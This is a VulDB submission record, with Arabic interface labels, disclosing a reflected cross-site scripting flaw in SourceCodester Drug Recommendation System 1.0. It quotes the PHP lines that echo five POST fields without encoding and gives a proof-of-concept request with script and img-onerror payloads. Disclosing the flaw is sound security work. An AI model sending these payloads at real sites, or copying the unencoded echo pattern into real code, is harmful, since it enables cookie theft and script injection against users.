| عنوان | SourceCodester Drug Recommendation System 1.0 Cross Site Scripting |
|---|
| الوصف | A reflected cross-site scripting vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Auth/add_student.php. Five POST parameters (txtname, txtpassword, txtemail, txtphone, txtprevious_school) are echoed directly into HTML attribute values without htmlspecialchars() or any output encoding. The endpoint is reachable without authentication.
Vulnerable code:
<input type="text" name="txtname" value="<?php echo $_POST['txtname'] ?? ''; ?>" required>
<input type="password" name="txtpassword" value="<?php echo $_POST['txtpassword'] ?? ''; ?>" required>
<input type="email" name="txtemail" value="<?php echo $_POST['txtemail'] ?? ''; ?>" required>
<input type="tel" name="txtphone" value="<?php echo $_POST['txtphone'] ?? ''; ?>" required>
<input type="text" name="txtprevious_school" value="<?php echo $_POST['txtprevious_school'] ?? ''; ?>" required>
Proof of Concept (unauthenticated):
POST /Auth/add_student.php
Content-Type: application/x-www-form-urlencoded
btnsave=1&cmdschool=1&txtname="><script>alert(document.cookie)</script>&cmdsex=male&txtdob=2000-01-01&txtpassword=test123&[email protected]&txtphone=123&txtprevious_school="><img src=x onerror=alert(1)>
Impact: An unauthenticated attacker can craft a malicious form that executes arbitrary JavaScript in a victim's browser when they visit the student registration page. Can lead to session theft, defacement, or phishing. CWE-79, CVSS v3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
|
|---|
| المصدر | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| المستخدم | swj99557271 (UID 101148) |
|---|
| ارسال | 10/09/2026 05:53 AM (2 أشهر منذ) |
|---|
| الاعتدال | 11/10/2026 07:11 PM (1 month later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 416732 [SourceCodester Drug Recommendation System 1.0 Student Registration Auth/add_student.php البرمجة عبر المواقع] |
|---|
| النقاط | 20 |
|---|